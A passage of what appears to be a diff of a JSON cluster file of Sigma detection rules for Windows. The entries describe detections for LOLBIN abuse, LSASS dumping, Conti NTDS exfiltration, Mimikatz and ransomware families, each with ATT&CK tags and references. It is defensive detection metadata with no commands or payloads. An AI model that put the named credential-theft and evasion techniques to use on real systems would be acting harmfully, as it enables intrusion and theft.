- "Legitimate usage by software developers/testers" - ], - "filename": "proc_creation_win_lolbin_tttracer_mod_load.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_tttracer_mod_load.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/", - "https://twitter.com/mattifestation/status/1196390321783025666", - "https://twitter.com/oulusoyum/status/1191329746069655553" - ], - "tags": [ - "attack.defense_evasion", - "attack.credential_access", - "attack.t1218", - "attack.t1003.001" - ] - }, - "uuid": "0b4ae027-2a2d-4b93-8c7e-962caaba5b2a", - "value": "Time Travel Debugging Utility Usage" - }, - { - "description": "Detects the use of a Microsoft signed script executing a managed DLL with PowerShell.", - "meta": { - "author": "frack113", - "creation_date": "2022/05/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_utilityfunctions.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/UtilityFunctions/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_utilityfunctions.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ] - }, - "uuid": "0403d67d-6227-4ea8-8145-4e72db7da120", - "value": "UtilityFunctions.ps1 Proxy Dll" - }, - { - "description": "VisualUiaVerifyNative.exe is a Windows SDK that can be used for AWL bypass and is listed in Microsoft's recommended block rules.", - "meta": { - "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", - "creation_date": "2022/06/01", - "falsepositive": [ - "Legitimate testing of Microsoft UI parts." - ], - "filename": "proc_creation_win_lolbin_visualuiaverifynative.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/VisualUiaVerifyNative/", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visualuiaverifynative.yml", - "https://github.com/MicrosoftDocs/windows-itpro-docs/commit/937db704b9148e9cee7c7010cad4d00ce9c4fdad", - "https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "b30a8bc5-e21b-4ca2-9420-0a94019ac56a", - "value": "Use of VisualUiaVerifyNative.exe" - }, - { - "description": "Detects successful code compilation via Visual Basic Command Line Compiler that utilizes Windows Resource to Object Converter.", - "meta": { - "author": "Ensar Şamil, @sblmsrsn, @oscd_initiative", - "creation_date": "2020/10/07", - "falsepositive": [ - "Utilization of this tool should not be seen in enterprise environment" - ], - "filename": "proc_creation_win_lolbin_visual_basic_compiler.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Vbc/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visual_basic_compiler.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.004" - ] - }, - "uuid": "7b10f171-7f04-47c7-9fa2-5be43c76e535", - "value": "Visual Basic Command Line Compiler Usage" - }, - { - "description": "The \"VSIISExeLauncher.exe\" binary part of the Visual Studio/VS Code can be used to execute arbitrary binaries", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_vsiisexelauncher.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/VSIISExeLauncher/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_vsiisexelauncher.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ] - }, - "uuid": "18749301-f1c5-4efc-a4c3-276ff1f5b6f8", - "value": "Use of VSIISExeLauncher.exe" - }, - { - "description": "The Workflow Command-line Compiler can be used for AWL bypass and is listed in Microsoft's recommended block rules.", - "meta": { - "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", - "creation_date": "2022/06/01", - "falsepositive": [ - "Legitimate use by a software developer" - ], - "filename": "proc_creation_win_lolbin_wfc.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wfc/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wfc.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ] - }, - "uuid": "49be8799-7b4d-4fda-ad23-cafbefdebbc5", - "value": "Use of Wfc.exe" - }, - { - "description": "Detects Winword process loading custmom dlls via the '/l' switch.\nWinword can be abused as a LOLBIN to download arbitrary file or load arbitrary DLLs.\n", - "meta": { - "author": "Nasreddine Bencherchali, Victor Sergeev, oscd.community", - "creation_date": "2022/05/17", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_winword.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_winword.yml", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/", - "https://github.com/D4Vinci/One-Lin3r/blob/9fdfa5f0b9c698dfbd4cdfe7d2473192777ae1c6/one_lin3r/core/liners/windows/cmd/dll_loader_word.py" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ] - }, - "uuid": "4ae3e30b-b03f-43aa-87e3-b622f4048eed", - "value": "Winword LOLBIN Usage" - }, - { - "description": "Detects use of Wlrmdr.exe in which the -u parameter is passed to ShellExecute", - "meta": { - "author": "frack113", - "creation_date": "2022/02/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_wlrmdr.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/0gtweet/status/1493963591745220608?s=20&t=xUg9DsZhJy1q9bPTUWgeIQ", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wlrmdr.yml" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "9cfc00b6-bfb7-49ce-9781-ef78503154bb", - "value": "Wlrmdr Lolbin Use as Launcher" - }, - { - "description": "Detects Too long PowerShell command lines", - "meta": { - "author": "oscd.community, Natalia Shornikova", - "creation_date": "2020/10/06", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_long_powershell_commandline.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_long_powershell_commandline.yml", - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "d0d28567-4b9a-45e2-8bbc-fb1b66a1f7f6", - "value": "Too Long PowerShell Commandlines" - }, - { - "description": "Detect creation of dump files containing the memory space of lsass.exe, which contains sensitive credentials.\nIdentifies usage of Sysinternals procdump.exe to export the memory space of lsass.exe which contains sensitive credentials.\n", - "meta": { - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_lsass_dump.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/210b4ea4-12fc-11e9-8d76-4d6bb837cda4.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md", - "https://eqllib.readthedocs.io/en/latest/analytics/1e1ef6be-12fc-11e9-8d76-4d6bb837cda4.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lsass_dump.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "ffa6861c-4461-4f59-8a41-578c39f3f23e", - "value": "LSASS Memory Dumping" - }, - { - "description": "Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/08/07", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_mailboxexport_share.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mailboxexport_share.yml", - "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", - "https://youtu.be/5mqid-7zp8k?t=2481", - "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/" - ], - "tags": [ - "attack.exfiltration" - ] - }, - "uuid": "889719ef-dd62-43df-86c3-768fb08dc7c0", - "value": "Suspicious PowerShell Mailbox Export to Share" - }, - { - "description": "Detects a command used by conti to find volume shadow backups", - "meta": { - "author": "Max Altgelt, Tobias Michalski", - "creation_date": "2021/08/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_conti.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/vxunderground/status/1423336151860002816?s=20", - "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti.yml" - ], - "tags": [ - "attack.t1587.001", - "attack.resource_development" - ] - }, - "uuid": "7b30e0a7-c675-4b24-8a46-82fa67e2433d", - "value": "Conti Volume Shadow Listing" - }, - { - "description": "Detects a command used by conti to exfiltrate NTDS", - "meta": { - "author": "Max Altgelt, Tobias Michalski", - "creation_date": "2021/08/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_conti_7zip.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_7zip.yml", - "https://twitter.com/vxunderground/status/1423336151860002816?s=20", - "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection" - ], - "tags": [ - "attack.collection", - "attack.t1560" - ] - }, - "uuid": "aa92fd02-09f2-48b0-8a93-864813fb8f41", - "value": "Conti NTDS Exfiltration Command" - }, - { - "description": "Detects a command that accesses password storing registry hives via volume shadow backups", - "meta": { - "author": "Max Altgelt, Tobias Michalski", - "creation_date": "2021/08/09", - "falsepositive": [ - "Some rare backup scenarios" - ], - "filename": "proc_creation_win_malware_conti_shadowcopy.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_shadowcopy.yml", - "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", - "https://twitter.com/vxunderground/status/1423336151860002816?s=20", - "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ] - }, - "uuid": "f57f8d16-1f39-4dcb-a604-6c73d9b54b3d", - "value": "Sensitive Registry Access via Volume Shadow Copy" - }, - { - "description": "Detects typical Dridex process patterns", - "meta": { - "author": "Florian Roth, oscd.community", - "creation_date": "2019/01/10", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_malware_dridex.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/993daa5e-112a-4ff6-8b5a-edbcec7c7ba3", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_dridex.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055", - "attack.discovery", - "attack.t1135", - "attack.t1033" - ] - }, - "uuid": "e6eb5a96-9e6f-4a18-9cdd-642cfda21c8e", - "value": "Dridex Process Pattern" - }, - { - "description": "Detects specific process parameters as seen in DTRACK infections", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/10/30", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_malware_dtrack.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/ce4deab5-3263-494f-93e3-afb2b9d79f14/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_dtrack.yml", - "https://securelist.com/my-name-is-dtrack/93338/", - "https://app.any.run/tasks/4bc9860d-ab51-4077-9e09-59ad346b92fd/" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ] - }, - "uuid": "f1531fa4-5b84-4342-8f68-9cf3fdbd83d4", - "value": "DTRACK Process Creation" - }, - { - "description": "Detects all Emotet like process executions that are not covered by the more generic rules", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/09/30", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_malware_emotet.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/81f3c28c-c686-425d-8a2b-a98198d244e1/", - "https://app.any.run/tasks/97f875e8-0e08-4328-815f-055e971ba754/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_emotet.yml", - "https://app.any.run/tasks/84fc9b4a-ea2b-47b1-8aa6-9014402dfb56/", - "https://app.any.run/tasks/e13ab713-64cf-4b23-ad93-6dceaa5429ac/" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1027" - ] - }, - "uuid": "d02e8cf5-6099-48cf-9bfc-1eec2d0c7b18", - "value": "Emotet Process Creation" - }, - { - "description": "Detects Formbook like process executions that inject code into a set of files in the System32 folder, which executes a special command command line to delete the dropper from the AppData Temp folder. We avoid false positives by excluding all parent process with command line parameters.", - "meta": { - "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", - "creation_date": "2019/09/30", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_formbook.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/8e22486b-5edc-4cef-821c-373e945f296c/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_formbook.yml", - "https://app.any.run/tasks/388d5802-aa48-4826-b069-250420504758/", - "https://inquest.net/blog/2018/06/22/a-look-at-formbook-stealer", - "https://app.any.run/tasks/62bb01ae-25a4-4180-b278-8e464a90b8d7/" - ], - "tags": [ - "attack.resource_development", - "attack.t1587.001" - ] - }, - "uuid": "032f5fb3-d959-41a5-9263-4173c802dc2b", - "value": "Formbook Process Creation" - }, - { - "description": "Detects NotPetya ransomware activity in which the extracted passwords are passed back to the main module via named pipe, the file system journal of drive C is deleted and windows eventlogs are cleared using wevtutil", - "meta": { - "author": "Florian Roth, Tom Ueltschi", - "creation_date": "2019/01/16", - "falsepositive": [ - "Admin activity" - ], - "filename": "proc_creation_win_malware_notpetya.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_notpetya.yml", - "https://www.hybrid-analysis.com/sample/64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1?environmentId=100", - "https://securelist.com/schroedingers-petya/78870/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011", - "attack.t1070.001", - "attack.credential_access", - "attack.t1003.001", - "car.2016-04-002" - ] - }, - "uuid": "79aeeb41-8156-4fac-a0cd-076495ab82a1", - "value": "NotPetya Ransomware Activity" - }, - { - "description": "Detects QBot like process executions", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/10/01", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_malware_qbot.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/killamjr/status/1179034907932315648", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_qbot.yml", - "https://app.any.run/tasks/2e0647b7-eb86-4f72-904b-d2d0ecac07d1/" - ], - "tags": [ - "attack.execution", - "attack.t1059.005" - ] - }, - "uuid": "4fcac6eb-0287-4090-8eea-2602e4c20040", - "value": "QBot Process Creation" - }, - { - "description": "Detects Ryuk ransomware activity", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/12/16", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_malware_ryuk.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_ryuk.yml", - "https://app.any.run/tasks/d860402c-3ff4-4c1f-b367-0237da714ed1/" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "c37510b8-2107-4b78-aa32-72f251e7a844", - "value": "Ryuk Ransomware" - }, - { - "description": "Detects wscript/cscript executions of scripts located in user directories", - "meta": { - "author": "Margaritis Dimitrios (idea), Florian Roth (rule), oscd.community", - "creation_date": "2019/01/16", - "falsepositive": [ - "Winzip", - "Other self-extractors" - ], - "filename": "proc_creation_win_malware_script_dropper.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_script_dropper.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.005", - "attack.t1059.007" - ] - }, - "uuid": "cea72823-df4d-4567-950c-0b579eaf0846", - "value": "WScript or CScript Dropper" - }, - { - "description": "Trickbot enumerates domain/network topology and executes certain commands automatically every few minutes. This detectors attempts to identify that activity based off a command rarely observed in an enterprise network.", - "meta": { - "author": "David Burkett, Florian Roth", - "creation_date": "2019/12/28", - "falsepositive": [ - "Rare System Admin Activity" - ], - "filename": "proc_creation_win_malware_trickbot_recon_activity.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_trickbot_recon_activity.yml", - "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/" - ], - "tags": [ - "attack.discovery", - "attack.t1482" - ] - }, - "uuid": "410ad193-a728-4107-bc79-4419789fcbf8", - "value": "Trickbot Malware Recon Activity" - }, - { - "description": "Detects Trickbot malware process tree pattern in which rundll32.exe is parent of wermgr.exe", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/11/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_trickbot_wermgr.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_trickbot_wermgr.yml", - "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/" - ], - "tags": [ - "attack.execution", - "attack.t1559" - ] - }, - "uuid": "58bf96d9-ff5f-44bd-8dcc-1c4f79bf3a27", - "value": "Trickbot Malware Activity" - }, - { - "description": "Detects WannaCry ransomware activity", - "meta": { - "author": "Florian Roth (rule), Tom U. @c_APT_ure (collection), oscd.community, Jonhnathan Ribeiro", - "creation_date": "2019/01/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_wannacry.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_wannacry.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1210", - "attack.discovery", - "attack.t1083", - "attack.defense_evasion", - "attack.t1222.001", - "attack.impact", - "attack.t1486", - "attack.t1490" - ] - }, - "uuid": "41d40bff-377a-43e2-8e1b-2e543069e079", - "value": "WannaCry Ransomware" - }, - { - "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", - "meta": { - "author": "Florian Roth, Tom Ueltschi, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2017/11/10", - "falsepositive": "No established falsepositives", - "filename": "proc_creation_win_mal_adwind.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", - "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_adwind.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.005", - "attack.t1059.007" - ] - }, - "uuid": "1fac1481-2dbc-48b2-9096-753c49b4ec71", - "value": "Adwind RAT / JRAT" - }, - { - "description": "Attempts to detect system changes made by Blue Mockingbird", - "meta": { - "author": "Trent Liffick (@tliffick)", - "creation_date": "2020/05/14", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_mal_blue_mockingbird.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/blue-mockingbird-cryptominer/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_blue_mockingbird.yml" - ], - "tags": [ - "attack.execution", - "attack.t1112", - "attack.t1047" - ] - }, - "uuid": "c3198a27-23a0-4c2c-af19-e5328d49680e", - "value": "Blue Mockingbird" - }, - { - "description": "Detects DarkSide Ransomware and helpers", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/05/14", - "falsepositive": [ - "Unknown", - "UAC bypass method used by other malware" - ], - "filename": "proc_creation_win_mal_darkside_ransomware.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_darkside_ransomware.yml", - "https://app.any.run/tasks/8b9a571b-bcc1-4783-ba32-df4ba623b9c0/", - "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", - "https://www.joesandbox.com/analysis/411752/0/html#7048BB9A06B8F2DD9D24C77F389D7B2B58D2" - ], - "tags": [ - "attack.execution", - "attack.t1204" - ] - }, - "uuid": "965fff6c-1d7e-4e25-91fd-cdccd75f7d2c", - "value": "DarkSide Ransomware Pattern" - }, - { - "description": "Detects process execution patterns found in intrusions related to the Hermetic Wiper malware attacks against Ukraine in February 2022", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/02/25", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_mal_hermetic_wiper_activity.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_hermetic_wiper_activity.yml", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia" - ], - "tags": [ - "attack.execution", - "attack.lateral_movement", - "attack.t1021.001" - ] - }, - "uuid": "2f974656-6d83-4059-bbdf-68ac5403422f", - "value": "Hermetic Wiper TG Process Patterns" - }, - { - "description": "Detects LockerGoga Ransomware command line.", - "meta": { - "author": "Vasiliy Burov, oscd.community", - "creation_date": "2020/10/18", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_mal_lockergoga_ransomware.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://medium.com/@malwaredancer/lockergoga-input-arguments-ipc-communication-and-others-bd4e5a7ba80a", - "https://www.carbonblack.com/blog/tau-threat-intelligence-notification-lockergoga-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_lockergoga_ransomware.yml", - "https://blog.f-secure.com/analysis-of-lockergoga-ransomware/" - ], - "tags": [ - "attack.impact", - "attack.t1486" - ] - }, - "uuid": "74db3488-fd28-480a-95aa-b7af626de068", - "value": "LockerGoga Ransomware" - }, - { - "description": "Detects Ryuk Ransomware command lines", - "meta": { - "author": "Vasiliy Burov", - "creation_date": "2019/08/06", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_mal_ryuk.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_ryuk.yml", - "https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/" - ], - "tags": [ - "attack.execution", - "attack.t1204" - ] - }, - "uuid": "0acaad27-9f02-4136-a243-c357202edd74", - "value": "Ryuk Ransomware" - }, - { - "description": "Detects a usage of the manage-bde.wsf script that may indicate an attempt of proxy execution from script", - "meta": { - "author": "oscd.community, Natalia Shornikova", - "creation_date": "2020/10/13", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_manage_bde_lolbas.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/bohops/status/980659399495741441", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_manage_bde_lolbas.yml", - "https://lolbas-project.github.io/lolbas/Scripts/Manage-bde/", - "https://twitter.com/JohnLaTwC/status/1223292479270600706", - "https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ] - }, - "uuid": "c363385c-f75d-4753-a108-c1a8e28bdbda", - "value": "Suspicious Usage of the Manage-bde.wsf Script" - }, - { - "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service starting", - "meta": { - "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", - "creation_date": "2019/10/26", - "falsepositive": [ - "Commandlines containing components like cmd accidentally", - "Jobs and services started with cmd" - ], - "filename": "proc_creation_win_meterpreter_or_cobaltstrike_getsystem_service_start.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_meterpreter_or_cobaltstrike_getsystem_service_start.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1134.001", - "attack.t1134.002" - ] - }, - "uuid": "15619216-e993-4721-b590-4c520615a67d", - "value": "Meterpreter or Cobalt Strike Getsystem Service Start" - }, - { - "description": "Detection well-known mimikatz command line arguments", - "meta": { - "author": "Teymur Kheirkhabarov, oscd.community, David ANDRE (additional keywords), Tim Shelton", - "creation_date": "2019/10/22", - "falsepositive": [ - "Legitimate Administrator using tool for password recovery" - ], - "filename": "proc_creation_win_mimikatz_command_line.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://tools.thehacker.recipes/mimikatz/modules", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mimikatz_command_line.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.t1003.002", - "attack.t1003.004", - "attack.t1003.005", - "attack.t1003.006" - ] - }, - "uuid": "a642964e-bead-4bed-8910-1bb4d63e3b4d", - "value": "Mimikatz Command Line" - }, - { - "description": "Detects MMC20.Application Lateral Movement; specifically looks for the spawning of the parent MMC.exe with a command line of \"-Embedding\" as a child of svchost.exe", - "meta": { - "author": "@2xxeformyshirt (Security Risk Advisors) - rule; Teymur Kheirkhabarov (idea)", - "creation_date": "2020/03/04", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_mmc20_lateral_movement.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc20_lateral_movement.yml", - "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", - "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view?usp=sharing" - ], - "tags": [ - "attack.execution", - "attack.t1021.003" - ] - }, - "uuid": "f1f3bf22-deb2-418d-8cce-e1a45e46a5bd", - "value": "MMC20 Lateral Movement" - }, - { - "description": "Detects a Windows command line executable started from MMC", - "meta": { - "author": "Karneades, Swisscom CSIRT", - 